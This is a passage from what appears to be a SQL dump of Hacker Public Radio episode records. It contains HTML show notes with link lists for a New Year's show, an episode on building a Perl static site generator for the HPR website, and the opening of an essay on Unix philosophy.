Steele</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0078682/\" class=\"uri\">https://www.imdb.com/title/tt0078682/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Sapphire_%26_Steel\" class=\"uri\">https://en.wikipedia.org/wiki/Sapphire_%26_Steel</a></p>\r\n<p>Sapphire and Steel Big Finish audio drama</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Mystery_of_the_Missing_Hour\" class=\"uri\">https://en.wikipedia.org/wiki/The_Mystery_of_the_Missing_Hour</a></p>\r\n<p>Dinosaucers</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0213341/\" class=\"uri\">https://www.imdb.com/title/tt0213341/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Dinosaucers\" class=\"uri\">https://en.wikipedia.org/wiki/Dinosaucers</a></p>\r\n<p><a href=\"https://dinosaucers.fandom.com/wiki/Dinosaucers\" class=\"uri\">https://dinosaucers.fandom.com/wiki/Dinosaucers</a></p>\r\n<p>Super Ted</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0085096/\" class=\"uri\">https://www.imdb.com/title/tt0085096/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/SuperTed\" class=\"uri\">https://en.wikipedia.org/wiki/SuperTed</a></p>\r\n<p>Bravestarr</p>\r\n<p><a href=\"https://hero.fandom.com/wiki/BraveStarr\" class=\"uri\">https://hero.fandom.com/wiki/BraveStarr</a></p>\r\n<p><a href=\"https://bravestarr.fandom.com/wiki/Bravestarr_Wiki\" class=\"uri\">https://bravestarr.fandom.com/wiki/Bravestarr_Wiki</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/BraveStarr\" class=\"uri\">https://en.wikipedia.org/wiki/BraveStarr</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0127471/\" class=\"uri\">https://www.imdb.com/title/tt0127471/</a></p>\r\n<p>Denver the Last Dinosaur</p>\r\n<p><a href=\"https://zagtoon.fandom.com/wiki/Denver_the_Last_Dinosaur\" class=\"uri\">https://zagtoon.fandom.com/wiki/Denver_the_Last_Dinosaur</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0190178/\" class=\"uri\">https://www.imdb.com/title/tt0190178/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Denver,_the_Last_Dinosaur\" class=\"uri\">https://en.wikipedia.org/wiki/Denver,_the_Last_Dinosaur</a></p>\r\n<p>Mummies Alive!</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Mummies_Alive!\" class=\"uri\">https://en.wikipedia.org/wiki/Mummies_Alive!</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0125633/\" class=\"uri\">https://www.imdb.com/title/tt0125633/</a></p>\r\n<p><a href=\"https://youtu.be/AO-qRSL9nng\" class=\"uri\">https://youtu.be/AO-qRSL9nng</a></p>\r\n<p>SWAT Kats: The Radical Squadron</p>\r\n<p><a href=\"https://90scartoons.fandom.com/wiki/SWAT_Kats:_The_Radical_Squadron\" class=\"uri\">https://90scartoons.fandom.com/wiki/SWAT_Kats:_The_Radical_Squadron</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0126173/\" class=\"uri\">https://www.imdb.com/title/tt0126173/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/SWAT_Kats:_The_Radical_Squadron\" class=\"uri\">https://en.wikipedia.org/wiki/SWAT_Kats:_The_Radical_Squadron</a></p>\r\n<p><a href=\"https://www.kickstarter.com/projects/1820796125/swat-kats-revolution\" class=\"uri\">https://www.kickstarter.com/projects/1820796125/swat-kats-revolution</a> (Kickstarter to bring the series back)</p>\r\n<p>How To Train Your Dragon</p>\r\n<p><a href=\"https://www.dreamworks.com/how-to-train-your-dragon\" class=\"uri\">https://www.dreamworks.com/how-to-train-your-dragon</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0892769/\" class=\"uri\">https://www.imdb.com/title/tt0892769/</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt1646971/\" class=\"uri\">https://www.imdb.com/title/tt1646971/</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt2386490/\" class=\"uri\">https://www.imdb.com/title/tt2386490/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/How_to_Train_Your_Dragon#How_to_Train_Your_Dragon_(2010)\" class=\"uri\">https://en.wikipedia.org/wiki/How_to_Train_Your_Dragon#How_to_Train_Your_Dragon_(2010)</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/How_to_Train_Your_Dragon_2\" class=\"uri\">https://en.wikipedia.org/wiki/How_to_Train_Your_Dragon_2</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/How_to_Train_Your_Dragon:_The_Hidden_World\" class=\"uri\">https://en.wikipedia.org/wiki/How_to_Train_Your_Dragon:_The_Hidden_World</a></p>\r\n<p><a href=\"https://www.polygon.com/animation-cartoons/22724287/how-to-train-your-dragon-tv-show-hulu-peacock-modern-day\" class=\"uri\">https://www.polygon.com/animation-cartoons/22724287/how-to-train-your-dragon-tv-show-hulu-peacock-modern-day</a></p>\r\n<p>Dungeons &amp; Dragons Cartoon</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0085011/\" class=\"uri\">https://www.imdb.com/title/tt0085011/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Dungeons_%26_Dragons_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Dungeons_%26_Dragons_(TV_series)</a></p>\r\n<p><a href=\"https://movieweb.com/dungeons-and-dragons-80s-animated-series/\" class=\"uri\">https://movieweb.com/dungeons-and-dragons-80s-animated-series/</a></p>\r\n<p><a href=\"https://www.tor.com/2022/01/11/revisiting-the-dungeons-dragons-animated-series/\" class=\"uri\">https://www.tor.com/2022/01/11/revisiting-the-dungeons-dragons-animated-series/</a></p>\r\n<p><a href=\"https://boingboing.net/2021/07/10/fans-animate-unfinished-last-episode-of-dungeons-and-dragons-cartoon.html\" class=\"uri\">https://boingboing.net/2021/07/10/fans-animate-unfinished-last-episode-of-dungeons-and-dragons-cartoon.html</a></p>\r\n<p><a href=\"https://www.thegamer.com/dungeons-dragons-cartoon-facts/\" class=\"uri\">https://www.thegamer.com/dungeons-dragons-cartoon-facts/</a></p>\r\n<p><a href=\"https://dungeonsdragons.fandom.com/wiki/Dungeons_%26_Dragons_(TV_series)\" class=\"uri\">https://dungeonsdragons.fandom.com/wiki/Dungeons_%26_Dragons_(TV_series)</a></p>\r\n<p><a href=\"https://en.wikiquote.org/wiki/Dungeons_%26_Dragons_(TV_series)\" class=\"uri\">https://en.wikiquote.org/wiki/Dungeons_%26_Dragons_(TV_series)</a></p>\r\n<p>Chip and Dale Rescue Rangers (TV cartoon &amp; Movie)</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0096557/\" class=\"uri\">https://www.imdb.com/title/tt0096557/</a></p>\r\n<p><a href=\"https://youtu.be/Y5feVNIkX-I\" class=\"uri\">https://youtu.be/Y5feVNIkX-I</a></p>\r\n<p><a href=\"https://disney.fandom.com/wiki/Chip_%27n_Dale_Rescue_Rangers_(film)\" class=\"uri\">https://disney.fandom.com/wiki/Chip_%27n_Dale_Rescue_Rangers_(film)</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt3513500/\" class=\"uri\">https://www.imdb.com/title/tt3513500/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Chip_%27n_Dale:_Rescue_Rangers_(film)\" class=\"uri\">https://en.wikipedia.org/wiki/Chip_%27n_Dale:_Rescue_Rangers_(film)</a></p>\r\n<p>Dark Wing Duck</p>\r\n<p><a href=\"https://disney.fandom.com/wiki/Darkwing_Duck\" class=\"uri\">https://disney.fandom.com/wiki/Darkwing_Duck</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0101076/\" class=\"uri\">https://www.imdb.com/title/tt0101076/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Darkwing_Duck\" class=\"uri\">https://en.wikipedia.org/wiki/Darkwing_Duck</a></p>\r\n<p><a href=\"https://variety.com/2020/tv/news/darkwing-duck-reboot-disney-plus-1234830283/\" class=\"uri\">https://variety.com/2020/tv/news/darkwing-duck-reboot-disney-plus-1234830283/</a></p>\r\n<p>Tale Spin</p>\r\n<p><a href=\"https://disney.fandom.com/wiki/TaleSpin\" class=\"uri\">https://disney.fandom.com/wiki/TaleSpin</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/TaleSpin\" class=\"uri\">https://en.wikipedia.org/wiki/TaleSpin</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0098924/\" class=\"uri\">https://www.imdb.com/title/tt0098924/</a></p>\r\n<p>The Octonauts</p>\r\n<p><a href=\"https://www.imdb.com/title/tt1710177/\" class=\"uri\">https://www.imdb.com/title/tt1710177/</a></p>\r\n<p><a href=\"https://www.bbc.co.uk/iplayer/episodes/b00xhyjf/octonauts\" class=\"uri\">https://www.bbc.co.uk/iplayer/episodes/b00xhyjf/octonauts</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Octonauts\" class=\"uri\">https://en.wikipedia.org/wiki/Octonauts</a></p>\r\n<p>Aquanauts</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0053481/\" class=\"uri\">https://www.imdb.com/title/tt0053481/</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0257292/\" class=\"uri\">https://www.imdb.com/title/tt0257292/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Aquanauts\" class=\"uri\">https://en.wikipedia.org/wiki/The_Aquanauts</a></p>\r\n<p>Woody Woodpecker</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Woody_Woodpecker_Show\" class=\"uri\">https://en.wikipedia.org/wiki/The_Woody_Woodpecker_Show</a></p>\r\n<p><a href=\"https://unitedparamountnetworkupn.fandom.com/wiki/The_Woody_Woodpecker_Show\" class=\"uri\">https://unitedparamountnetworkupn.fandom.com/wiki/The_Woody_Woodpecker_Show</a></p>\r\n<p><a href=\"https://youtu.be/Q4uIdPOpen8\" class=\"uri\">https://youtu.be/Q4uIdPOpen8</a></p>\r\n<p>Donald Duck Gets Discharged from the Military</p>\r\n<p><a href=\"https://www.portablepress.com/blog/2017/05/donald-duck-trivia/\" class=\"uri\">https://www.portablepress.com/blog/2017/05/donald-duck-trivia/</a></p>\r\n<p>GizmoDuck</p>\r\n<p><a href=\"https://scrooge-mcduck.fandom.com/wiki/Gizmoduck\" class=\"uri\">https://scrooge-mcduck.fandom.com/wiki/Gizmoduck</a></p>\r\n<p>Donald Duck has PTSD</p>\r\n<p><a href=\"https://cartoonoveranalyzations.wordpress.com/2009/02/20/diagnosis-donald-duck-suffers-from-ptsd/\" class=\"uri\">https://cartoonoveranalyzations.wordpress.com/2009/02/20/diagnosis-donald-duck-suffers-from-ptsd/</a></p>\r\n<p><a href=\"https://youtu.be/ehy7Mq7SP80\" class=\"uri\">https://youtu.be/ehy7Mq7SP80</a></p>\r\n<p>Voltron</p>\r\n<p><a href=\"https://www.imdb.com/title/tt5580664/\" class=\"uri\">https://www.imdb.com/title/tt5580664/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Voltron\" class=\"uri\">https://en.wikipedia.org/wiki/Voltron</a></p>\r\n<p><a href=\"https://voltron.com/\" class=\"uri\">https://voltron.com/</a></p>\r\n<p>Rin Tin Tin / Adventures of Tin Tin</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Rin_Tin_Tin\" class=\"uri\">https://en.wikipedia.org/wiki/Rin_Tin_Tin</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Adventures_of_Rin_Tin_Tin\" class=\"uri\">https://en.wikipedia.org/wiki/The_Adventures_of_Rin_Tin_Tin</a></p>\r\n<p><a href=\"https://www.imdb.com/name/nm0863833/\" class=\"uri\">https://www.imdb.com/name/nm0863833/</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0046576/\" class=\"uri\">https://www.imdb.com/title/tt0046576/</a></p>\r\n<p><a href=\"https://americacomesalive.com/the-story-of-rin-tin-tin-2/\" class=\"uri\">https://americacomesalive.com/the-story-of-rin-tin-tin-2/</a></p>\r\n<p>Heinz 57</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Heinz_57\" class=\"uri\">https://en.wikipedia.org/wiki/Heinz_57</a></p>\r\n<p>Winnie The Pooh</p>\r\n<p><a href=\"https://disney.fandom.com/wiki/Winnie_the_Pooh\" class=\"uri\">https://disney.fandom.com/wiki/Winnie_the_Pooh</a></p>\r\n<p><a href=\"https://www.smithsonianmag.com/arts-culture/winnie-pooh-became-household-bear-180967090/\" class=\"uri\">https://www.smithsonianmag.com/arts-culture/winnie-pooh-became-household-bear-180967090/</a></p>\r\n<p><a href=\"https://www.yahoo.com/lifestyle/upcoming-film-winnie-pooh-blood-140045130.html\" class=\"uri\">https://www.yahoo.com/lifestyle/upcoming-film-winnie-pooh-blood-140045130.html</a></p>\r\n<p>Furries</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Furry_fandom\" class=\"uri\">https://en.wikipedia.org/wiki/Furry_fandom</a></p>\r\n<p>Teen Wolf</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0090142/\" class=\"uri\">https://www.imdb.com/title/tt0090142/</a></p>\r\n<p>The Goonies</p>\r\n<p><a href=\"https://goonies.fandom.com/wiki/The_Goonies_(film)\" class=\"uri\">https://goonies.fandom.com/wiki/The_Goonies_(film)</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0089218/\" class=\"uri\">https://www.imdb.com/title/tt0089218/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Goonies\" class=\"uri\">https://en.wikipedia.org/wiki/The_Goonies</a></p>\r\n<p>Magic The Gathering - Innistrad</p>\r\n<p><a href=\"https://mtg.fandom.com/wiki/Innistrad_(plane)\" class=\"uri\">https://mtg.fandom.com/wiki/Innistrad_(plane)</a></p>\r\n<p>Galaxy S6 Phone</p>\r\n<p><a href=\"https://www.gsmarena.com/samsung_galaxy_s6-6849.php\" class=\"uri\">https://www.gsmarena.com/samsung_galaxy_s6-6849.php</a></p>\r\n<p>Lineage OS</p>\r\n<p><a href=\"https://lineageos.org/\" class=\"uri\">https://lineageos.org/</a></p>\r\n<p>Ubports</p>\r\n<p><a href=\"https://ubports.com/\" class=\"uri\">https://ubports.com/</a></p>\r\n<p>Tony is enjoying his Juno Linux PC - Brutus 5000</p>\r\n<p><a href=\"https://junocomputers.com/product/brutus-5000-v2/\" class=\"uri\">https://junocomputers.com/product/brutus-5000-v2/</a></p>\r\n<p>Boxes (Linux Virtual Machine application)</p>\r\n<p><a href=\"https://help.gnome.org/users/gnome-boxes/stable/\" class=\"uri\">https://help.gnome.org/users/gnome-boxes/stable/</a></p>\r\n<p>Haskell</p>\r\n<p><a href=\"https://www.haskell.org/\" class=\"uri\">https://www.haskell.org/</a></p>\r\n<p>Rooibos Tea</p>\r\n<p><a href=\"https://www.healthline.com/nutrition/rooibos-tea-benefits\" class=\"uri\">https://www.healthline.com/nutrition/rooibos-tea-benefits</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Rooibos\" class=\"uri\">https://en.wikipedia.org/wiki/Rooibos</a></p>\r\n<p>IPFS</p>\r\n<p><a href=\"https://ipfs.io/\" class=\"uri\">https://ipfs.io/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/InterPlanetary_File_System\" class=\"uri\">https://en.wikipedia.org/wiki/InterPlanetary_File_System</a></p>\r\n<p><a href=\"https://medium.com/@ConsenSys/an-introduction-to-ipfs-9bba4860abd0\" class=\"uri\">https://medium.com/@ConsenSys/an-introduction-to-ipfs-9bba4860abd0</a></p>\r\n<p>Arc Wedling</p>\r\n<p><a href=\"https://www.twi-global.com/technical-knowledge/faqs/what-is-arc-welding\" class=\"uri\">https://www.twi-global.com/technical-knowledge/faqs/what-is-arc-welding</a></p>\r\n<p><a href=\"https://weldguru.com/what-is-arc-welding/\" class=\"uri\">https://weldguru.com/what-is-arc-welding/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Arc_welding\" class=\"uri\">https://en.wikipedia.org/wiki/Arc_welding</a></p>\r\n<p>6011 Stick Welding Rods</p>\r\n<p><a href=\"https://weldingtroop.com/what-is-6011-welding-rod-used-for/\" class=\"uri\">https://weldingtroop.com/what-is-6011-welding-rod-used-for/</a></p>\r\n<p>Zinc</p>\r\n<p><a href=\"https://www.rsc.org/periodic-table/element/30/zinc\" class=\"uri\">https://www.rsc.org/periodic-table/element/30/zinc</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Zinc\" class=\"uri\">https://en.wikipedia.org/wiki/Zinc</a></p>\r\n<p>Zamak</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Zamak\" class=\"uri\">https://en.wikipedia.org/wiki/Zamak</a></p>\r\n<p><a href=\"https://decoprod.com/design-support/zamak/\" class=\"uri\">https://decoprod.com/design-support/zamak/</a></p>\r\n<p>Biodiesel</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Biodiesel\" class=\"uri\">https://en.wikipedia.org/wiki/Biodiesel</a></p>\r\n<p><a href=\"https://www.biodiesel.org/\" class=\"uri\">https://www.biodiesel.org/</a></p>\r\n<p>Boats with Underwater Wing (Hydrofoils?)</p>\r\n<p><a href=\"http://www.hydrofoil.org/history.html\" class=\"uri\">http://www.hydrofoil.org/history.html</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Hydrofoil\" class=\"uri\">https://en.wikipedia.org/wiki/Hydrofoil</a></p>\r\n<p><a href=\"https://web.mit.edu/2.972/www/reports/hydrofoil/hydrofoil.html\" class=\"uri\">https://web.mit.edu/2.972/www/reports/hydrofoil/hydrofoil.html</a></p>\r\n<p>Cardano</p>\r\n<p><a href=\"https://cardano.org/\" class=\"uri\">https://cardano.org/</a></p>\r\n<p>Plutus Tutorial</p>\r\n<p><a href=\"https://plutus.readthedocs.io/en/latest/tutorials/\" class=\"uri\">https://plutus.readthedocs.io/en/latest/tutorials/</a></p>\r\n<p>Racket</p>\r\n<p><a href=\"https://racket-lang.org/\" class=\"uri\">https://racket-lang.org/</a></p>\r\n<p>Plutus Pioneer Program</p>\r\n<p><a href=\"https://testnets.cardano.org/en/plutus-pioneer-program/\" class=\"uri\">https://testnets.cardano.org/en/plutus-pioneer-program/</a></p>\r\n<p>NixOS</p>\r\n<p><a href=\"https://nixos.org/\" class=\"uri\">https://nixos.org/</a></p>\r\n<p><a href=\"https://distrowatch.com/table.php?distribution=nixos\" class=\"uri\">https://distrowatch.com/table.php?distribution=nixos</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/NixOS\" class=\"uri\">https://en.wikipedia.org/wiki/NixOS</a></p>\r\n<p>Scheme</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Scheme_(programming_language)\" class=\"uri\">https://en.wikipedia.org/wiki/Scheme_(programming_language)</a></p>\r\n<p>Lisp</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Lisp_(programming_language)\" class=\"uri\">https://en.wikipedia.org/wiki/Lisp_(programming_language)</a></p>\r\n<p><a href=\"https://www.tutorialspoint.com/lisp/index.htm\" class=\"uri\">https://www.tutorialspoint.com/lisp/index.htm</a></p>\r\n<p>Functional Programming</p>\r\n<p><a href=\"https://www.geeksforgeeks.org/functional-programming-paradigm/\" class=\"uri\">https://www.geeksforgeeks.org/functional-programming-paradigm/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Functional_programming\" class=\"uri\">https://en.wikipedia.org/wiki/Functional_programming</a></p>\r\n<p>Clojure</p>\r\n<p><a href=\"https://clojure.org/\" class=\"uri\">https://clojure.org/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Clojure\" class=\"uri\">https://en.wikipedia.org/wiki/Clojure</a></p>\r\n<p><a href=\"https://clojuredocs.org/\" class=\"uri\">https://clojuredocs.org/</a></p>\r\n<p>Solaris</p>\r\n<p><a href=\"https://www.oracle.com/solaris/solaris11/\" class=\"uri\">https://www.oracle.com/solaris/solaris11/</a></p>\r\n<p>VIM</p>\r\n<p><a href=\"https://www.vim.org/\" class=\"uri\">https://www.vim.org/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Vim_(text_editor)\" class=\"uri\">https://en.wikipedia.org/wiki/Vim_(text_editor)</a></p>\r\n<p>CentOS</p>\r\n<p><a href=\"https://www.centos.org/\" class=\"uri\">https://www.centos.org/</a></p>\r\n<p><a href=\"https://distrowatch.com/table.php?distribution=centos\" class=\"uri\">https://distrowatch.com/table.php?distribution=centos</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/CentOS\" class=\"uri\">https://en.wikipedia.org/wiki/CentOS</a></p>\r\n<h4 id=\"t090000z\">2022-01-01T09:00:00Z</h4>\r\n<p>AKST Alaska/USA and regions of French Polynesia Anchorage, Fairbanks, Juneau, Unalaska</p>\r\n<p>HST Small region of USA and 2 more Honolulu, Rarotonga, Adak, Papeete</p>\r\n<p><a href=\"https://www.worldtimezone.com/newyear.html\" class=\"uri\">https://www.worldtimezone.com/newyear.html</a></p>\r\n<p>Solstice</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Solstice\" class=\"uri\">https://en.wikipedia.org/wiki/Solstice</a></p>\r\n<p><a href=\"https://www.irishamericanmom.com/newgrange-irelands-megalithic-wonder-of-the-winter-solstice/\" class=\"uri\">https://www.irishamericanmom.com/newgrange-irelands-megalithic-wonder-of-the-winter-solstice/</a></p>\r\n<p><a href=\"https://www.newgrange.com/\" class=\"uri\">https://www.newgrange.com/</a></p>\r\n<p>TIVO</p>\r\n<p><a href=\"https://www.tivo.com/custom/product-bolt\" class=\"uri\">https://www.tivo.com/custom/product-bolt</a></p>\r\n<p>Yagi Antenna</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Yagi%E2%80%93Uda_antenna\" class=\"uri\">https://en.wikipedia.org/wiki/Yagi%E2%80%93Uda_antenna</a></p>\r\n<p><a href=\"https://www.eeweb.com/lets-build-the-yagi-antenna/\" class=\"uri\">https://www.eeweb.com/lets-build-the-yagi-antenna/</a></p>\r\n',159,121,1,'CC-BY-SA','HPR, New Years, Talking',0,0,1),
(3687,'2022-09-20','2021-2022 New Years Show Part 6',11137,'The HPR community comes together to chat','<h2 id=\"hacker-public-radio-new-years-eve-show-2021---2022\">Hacker Public Radio New Years Eve Show 2021 - 2022</h2>\n<h3 id=\"part-6\">Part 6</h3>\n<p><a href=\"https://rsgb.org/main/clubs-training/for-students/foundation/\" class=\"uri\">https://rsgb.org/main/clubs-training/for-students/foundation/</a></p>\n<p><a href=\"https://logseq.com/\" class=\"uri\">https://logseq.com/</a></p>\n<p><strong>The End!</strong></p>\n<ul>\n<li>Thanks To:\n<ul>\n<li>Mumble Server: Delwin</li>\n<li>HPR Site/VPS: Joshua Knapp - AnHonestHost.com</li>\n<li>Streams: Honkeymagoo</li>\n<li>EtherPad: HonkeyMagoo</li>\n<li>Shownotes: HPLovecraft</li>\n</ul></li>\n</ul>\n<h3 id=\"aftershow\">Aftershow</h3>\n<p>Swedish new words of 2021: <a href=\"https://www.svt.se/kultur/experten-de-orden-kommer-jag-sakna-mest\" class=\"uri\">https://www.svt.se/kultur/experten-de-orden-kommer-jag-sakna-mest</a> (Swedish)</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Endometriosis\" class=\"uri\">https://en.wikipedia.org/wiki/Endometriosis</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Vulvar_vestibulitis\" class=\"uri\">https://en.wikipedia.org/wiki/Vulvar_vestibulitis</a></p>\n',159,121,1,'CC-BY-SA','HPR, New Years, Talking',0,0,1);
INSERT INTO `eps` (`id`, `date`, `title`, `duration`, `summary`, `notes`, `hostid`, `series`, `explicit`, `license`, `tags`, `version`, `downloads`, `valid`) VALUES (3659,'2022-08-11','Developing an HPR static site generator',673,'Rho`n describes his approach to developing a static site generator for HPR','<h1 id=\"synopsis\">Synopsis</h1>\n<p>In this episode, I describe my ongoing attempt to develop a static site generator for the HPR website. As a search through the community mailing list will reveal, the idea for moving the HPR website has been rattling around for a few years. I have been interested in helping out with the website for a while, so when the latest round of discussion occurred I decided to give it a whirl.</p>\n<p>While I have read about various static site generators over the years, the only one I had any experience with was Template-Toolkit (TT2) when helping Ken Fallon and Dave Morriss develop the Free Culture Podcasts webpage. It is the tool Dave uses for various projects. Since they are the janitors for HPR, I figured a website generator based on the TT2 would be something relatively painless enough for them to use, and update when needed.</p>\n<p>The code for this generator is hosted at <a href=\"https://repo.anhonesthost.net/rho_n/hpr_generator\">https://repo.anhonesthost.net/rho_n/hpr_generator</a>. The generator is written in Perl and generates the pages using TT2 templates.</p>\n<p>Anyone interested in helping out is encouraged to create an account on repo.anhonesthost.net and start hacking away.</p>\n<h1 id=\"references\">References</h1>\n<ul>\n<li><p><a href=\"https://repo.anhonesthost.net/rho_n/hpr_generator\">site-generator source code</a>; <a href=\"https://repo.anhonesthost.net/rho_n/hpr_generator\">https://repo.anhonesthost.net/rho_n/hpr_generator</a></p></li>\n<li><p><a href=\"http://template-toolkit.org/\">Template Tookit website</a>; <a href=\"http://template-toolkit.org/\">http://template-toolkit.org/</a></p></li>\n<li><p><a href=\"https://www.cpan.org/\">Comprehensive Perl Archive Network (CPAN) website</a>; <a href=\"https://www.cpan.org/\">https://www.cpan.org/</a></p></li>\n<li><p><a href=\"https://repo.anhonesthost.net/explore/repos\">HPR repositories at anHonestHost.net</a>; <a href=\"https://repo.anhonesthost.net/explore/repos\">https://repo.anhonesthost.net/explore/repos</a></p></li>\n<li><p><a href=\"https://hpr.horning.us/\">Rho`n\'s public test HPR website</a>; <a href=\"https://hpr.horning.us\">https://hpr.horning.us</a></p></li>\n<li><p><a href=\"https://freeculturepodcasts.org/\">Free Culture Podcasts</a>; <a href=\"https://freeculturepodcasts.org/\">https://freeculturepodcasts.org/</a></p></li>\n<li><p><a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-April/014388.html\">HPR Mailing list: Static Site Generators - NOT a flat file CMS</a>; message thread; <a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-April/014388.html\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-April/014388.html</a></p></li>\n<li><p><a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-June/015296.html\">HPR Mailing list: Source Code for the HPR website.</a>; message thread; <a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-June/015296.html\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-June/015296.html</a></p></li>\n<li><p><a href=\"https://github.com/dumblob/mysql2sqlite\">MySQL to SQLite conversion script</a>; <a href=\"https://github.com/dumblob/mysql2sqlite\">https://github.com/dumblob/mysql2sqlite</a></p></li>\n</ul>\n',293,0,0,'CC-BY-SA','HPR, static site generator, Perl, SQLite, Template Toolkit',0,0,1),
(3665,'2022-08-19','UNIX Is Sublime',3586,'I talk about all of the reasons I love UNIX','<h1 id=\"unix-is-sublime\">UNIX is sublime</h1>\n<h6 id=\"or-how-to-use-a-computer-without-hating-yourself-for-it-in-the-morning\">Or, \"how to use a computer without hating yourself for it in the morning\"</h6>\n<h6 id=\"or-unix-is-basically-a-simple-operating-system---\">Or, \"Unix is basically a simple operating system . . .\"</h6>\n<h6 id=\"or-my-weariness-and-disdain-for-computers-grow-with-each-additional-unit-of-knowledge\">Or, \"My weariness and disdain for computers grow with each additional unit of knowledge\"</h6>\n<h6 id=\"or-worse-is-better\">Or, \"Worse is better\"</h6>\n<h1 id=\"origins\">Origins</h1>\n<p>UNIX is not Multics</p>\n<p>Multics = Multiplexed Information and Computer Service</p>\n<p>UNIX = Uniplexed Information and Computing Service</p>\n<p>The name \'UNIX\' is a pun on the name \'Multics\'. Multics was entirely too large and complicated to be useful so the boys at Bell Labs cooked up something smaller, less complicated, and easier to use.</p>\n<hr />\n<h3 id=\"ancient-emulation-interlude\">Ancient emulation interlude</h3>\n<p><a href=\"https://www.multicians.org/sim-inst.html\">How to run Multics in 2022.</a></p>\n<p><a href=\"https://gunkies.org/wiki/Running_Unix_v5_in_SIMH\">This wiki helped me emulate UNIXv5.</a></p>\n<p><a href=\"https://gunkies.org/wiki/Installing_v7_on_SIMH\">And this one helped me emulate UNIXv7.</a></p>\n<p><a href=\"https://livingcomputers.org/Computer-Collection/Online-Systems.aspx\">These guys host ancient systems accessible via guest accounts over ssh.</a></p>\n<blockquote>\n<p>\"Cool, but useless.\"</p>\n</blockquote>\n<hr />\n<p>I know almost nothing about Multics and I\'m not sure if it\'s even worth learning. This is about UNIX, not Multics. Maybe I\'ll come back to it.</p>\n<h1 id=\"philosophy-implementations-ducks\">Philosophy, implementations, ducks</h1>\n<p>When I think of \"UNIX\", I do not think of the trademark. Instead, I think of the <a href=\"https://en.wikipedia.org/wiki/Unix_philosophy\">Unix philosophy.</a> and the general design principles, interface, and behavior of a UNIX system.</p>\n<p>A better way of thinking about \"UNIX\" is as something \"POSIX-like\" rather than \"AT&amp;T\'s commercial UNIX\". Example: although Linux and GNU are overly complicated, they pass the duck test for being a UNIX. Pedigree or not, you know a nix when you see one.</p>\n<p>Also, when I say \"UNIX\", I mean \"Free UNIX\". I have no interest in proprietary implementations that only exist for the purpose of restricting users and disempowering/discouraging sysadmins from becoming self-reliant.</p>\n<p>So what is the philosophy?</p>\n<ul>\n<li>Do one thing and do it well</li>\n<li>Design programs that work together using text as the common interface</li>\n<li>KISS: Keep it simple, stupid</li>\n<li>Test early, test often</li>\n</ul>\n<p>And 